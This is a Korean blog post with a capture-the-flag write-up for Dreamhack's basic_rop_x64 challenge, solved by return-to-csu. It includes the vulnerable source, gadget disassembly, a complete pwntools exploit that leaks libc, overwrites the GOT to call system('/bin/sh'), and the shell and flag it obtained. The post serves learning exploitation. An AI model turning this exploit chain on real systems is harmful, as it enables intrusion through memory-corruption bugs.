[Dreamhack] basic_rop_x64 (Return-to-Csu)

Sisyphus·2022년 7월 15일
0

이번에는 Return-to-Csu 기법을 사용해서 풀어보겠습니다.


문제 코드

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}

보호 기법

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

스택 구조

   0x00000000004007e7 <+45>:    lea    rax,[rbp-0x40]	// rax = buf
   0x00000000004007eb <+49>:    mov    edx,0x400	// edx = 0x400
   0x00000000004007f0 <+54>:    mov    rsi,rax	// rsi = buf
   0x00000000004007f3 <+57>:    mov    edi,0x0	// edi = 0x0
   0x00000000004007f8 <+62>:    call   0x4005f0 <read@plt>	// read(0, buf, 0x400)


Return-to-Csu 공격 단계

1. 필요한 정보 구하기
2. ASLR 우회를 위해 BSS 영역에 "/bin/sh" 저장
3. write@got를 system 실제 주소로 got overwrite
4. "/bin/sh" 인자로 write() 호출 -> system("/bin/sh")가 호출 됨

가젯 구하기

gdb-peda$ pdisas __libc_csu_init
   0x0000000000400860 <+64>:    mov    rdx,r13
   0x0000000000400863 <+67>:    mov    rsi,r14
   0x0000000000400866 <+70>:    mov    edi,r15d
   0x0000000000400869 <+73>:    call   QWORD PTR [r12+rbx*8]
   0x000000000040086d <+77>:    add    rbx,0x1
   0x0000000000400871 <+81>:    cmp    rbx,rbp
   0x0000000000400874 <+84>:    jne    0x400860 <__libc_csu_init+64>
   0x0000000000400876 <+86>:    add    rsp,0x8
   
   0x000000000040087a <+90>:    pop    rbx
   0x000000000040087b <+91>:    pop    rbp
   0x000000000040087c <+92>:    pop    r12
   0x000000000040087e <+94>:    pop    r13
   0x0000000000400880 <+96>:    pop    r14
   0x0000000000400882 <+98>:    pop    r15
   0x0000000000400884 <+100>:   ret

csu_init1 = 0x40087a
csu_init2 = 0x400860


RTC Chain

  • call 계산식을 위해 rbx는 0, 여러 함수를 호출하기 위해 rbp는 1로 고정합니다.

  • function에는 호출할 함수의 got가 들어가고 나머지 레지스터에는 호출할 함수의 인자 값이 거꾸로 들어갑니다.


1) read 함수의 실제 주소 leak

rbx = 0
rbp = 1
r12 = write@got
r13 = 8
r14 = read@got
r15 = 1

write(1, read@got, 8)

2) ASLR 우회를 위해 BSS 영역에 "/bin/sh" 저장

rbx = 0
rbp = 1
r12 = read@got
r13 = 8
r14 = bss
r15 = 0

read(0, bss, 8)

3) write@got를 system 실제 주소로 got overwrite

rbx = 0
rbp = 1
r12 = read@got
r13 = 8
r14 = write@got
r15 = 0

read(0, write@got, 8)

4) "/bin/sh" 인자로 write() 호출 -> system("/bin/sh")가 호출됨

rbx = 0
rbp = 1
r12 = write@got
r13 = 0
r14 = 0
r15 = bss

write(bss)

익스플로잇

from pwn import *

def slog(name, addr):
        return success(": ".join([name, hex(addr)]))


p = remote("host1.dreamhack.games", 9903)
e = ELF("./basic_rop_x64")
libc = ELF("./libc.so.6")

#context.log_level = 'debug'


# [1] 정보 수집
read_got = e.got["read"]
write_got = e.got["write"]

read_offset = libc.symbols["read"]
system_offset = libc.symbols["system"]

csu_init1 = 0x40087a
csu_init2 = 0x400860
bss = e.bss()
dummy = b'A'*8

payload = b'A'*72


# [2] write(1, read@got, 8) => read 함수의 실제 주소 출력
payload += p64(csu_init1)
payload += p64(0)
payload += p64(1)
payload += p64(write_got)
payload += p64(8)
payload += p64(read_got)
payload += p64(1)
payload += p64(csu_init2)


# [3] read(0, bss, 8) => bss 영역에 "/bin/sh" 쓰기
payload += dummy
payload += p64(0)
payload += p64(1)
payload += p64(read_got)
payload += p64(8)
payload += p64(bss)
payload += p64(0)
payload += p64(csu_init2)


# [4] read(0, write@got, 8) => write@got를 system으로 overwrite
payload += dummy
payload += p64(0)
payload += p64(1)
payload += p64(read_got)
payload += p64(8)
payload += p64(write_got)
payload += p64(0)
payload += p64(csu_init2)


# [5] write("/bin/sh") => system("/bin/sh")가 호출 됨
payload += dummy
payload += p64(0)
payload += p64(1)
payload += p64(write_got)
payload += p64(0)
payload += p64(0)
payload += p64(bss)
payload += p64(csu_init2)


# [6] payload, data 전송
p.send(payload)

p.recvuntil(b'A'*64)
read = u64(p.recvn(6)+b'\x00'*2)
lb = read - read_offset
system = lb + system_offset

slog("bss", bss)
slog("libc base", lb)
slog("read", read)
slog("system", system)

p.send(b"/bin/sh\x00")
p.send(p64(system))
p.interactive()

익스플로잇 코드를 실행시켜보면

$ python3 rtc.py
[+] Opening connection to host1.dreamhack.games on port 9903: Done
[*] '/home/ion/wargame/basic_rop_x64/basic_rop_x64'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/home/ion/wargame/basic_rop_x64/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] bss: 0x601070
[+] libc base: 0x7f4837399000
[+] read: 0x7f4837490250
[+] system: 0x7f48373de390
[*] Switching to interactive mode
\x00$

공격에 성공해서 쉘이 떴습니다.


flag 파일을 출력해보면

$ ls
basic_rop_x64
flag
$ cat flag
DH{357ad9f7c0c54cf85b49dd6b7765fe54}

0개의 댓글